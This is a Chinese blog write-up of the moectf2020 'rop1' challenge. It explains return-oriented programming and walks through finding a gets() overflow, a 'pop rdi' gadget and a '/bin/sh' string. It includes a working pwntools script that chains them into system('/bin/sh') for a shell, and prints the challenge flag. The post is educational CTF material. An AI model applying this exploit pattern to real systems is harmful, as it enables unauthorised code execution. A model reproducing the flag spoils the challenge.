moectf2020 write up for rop1

前言

第一次开始尝试ROP,还真是一门神奇的技术呢Or2…

0x00.什么是ROP

ROP即为Return-Oriented Programming ——返回导向编程, 是一种可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)的高级的内存攻击技术。

其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

ctf-wifi:Basic ROP

0x01.安全检查

首先在Linux下使用checksec指令分析,发现其开启了栈不可执行保护

image.png

0x02.逆向分析

将程序拖入IDA分析,发现存在gets函数,很明显存在栈溢出

image.png

0x03.漏洞利用

我们尝试将断点下在call _gets,即0x40087f的地以计算偏移量

image.png

1
2
3
4
$ gdb
$ file rop1
$ b *0x40087f
$ r

image.png

lea rax, [rbp-0x80]我们可以看到该字符串为基于rbp的索引,故其相对于返回地址的偏移即为0x80+8,也就是128个字节再加上8字节的rbp,之后就是函数的返回地址

因此我们构造的payload基础模型应当是:

1
2
target_addr = p64(addr_of_target)
payload = b'A'*128 + target_addr

然后我们就应该开始寻找需要用的gadget(程序小片段)

一般来说只要找到system("/bin/sh")就可以getshell了

然而我们不难看出,程序中虽然存在着system函数,但是却是system("eqqie")。。。

image.png

尝试了一下eqqie师傅并没有设置额外的eqqie命令,因此很明显我们不能直接返回到这个函数的地址上

但是这也告诉我们有system函数的gadget,接下来只需要再找到/bin/sh字符串就可以凑出system('/bin/sh')

我们很容易在.data段找到"/bin/sh"

image.png

image.png

那么我们只需要先在rdi寄存器内写入"/bin/sh"的地址再调用system函数即可getshell

但是我们直接找似乎找不到pop rdi

别慌www,在IDA内我们可以找到一段指令是

1
pop r15

image.png

按下D展开变成数据

image.png

再按下C变成指令

image.png

得到指令:

1
2
pop rdi
retn

于是我们就成功得到了改变rdi寄存器的gadget的地址

接下来我们就可以构造payload了

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p = process('rop1')#p = remote('sec.eqqie.cn',10004)

pop_rdi = p64(0x400933)
sh_addr = p64(0x601070)
call_sys = p64(0x4007df)

payload = b'A'*136 + pop_rdi + sh_addr + call_sys

p.recv()
p.sendline(payload)
p.interactive()

连接服务器,使用我们的payload来getshell

image.png

image.png

得到flag

1
moectf{67d14388-9052-4182-869c-5e5f0cdac4e5}

注:也可以使用工具ROPgadget来寻找gadget

Linux下,上面寻找gadget的步骤也可以如下:

1
$ ROPgadget --binary rop1 --string '/bin/sh'

image.png

1
$ ROPgadget --binary rop1 --only 'pop|ret'

image.png

参考资料:https://www.cnblogs.com/ichunqiu/p/9288935.html

Posted on

2020-11-26

Updated on

2020-11-26

Licensed under

Comments

:D 一言句子获取中...

Loading...Wait a Minute!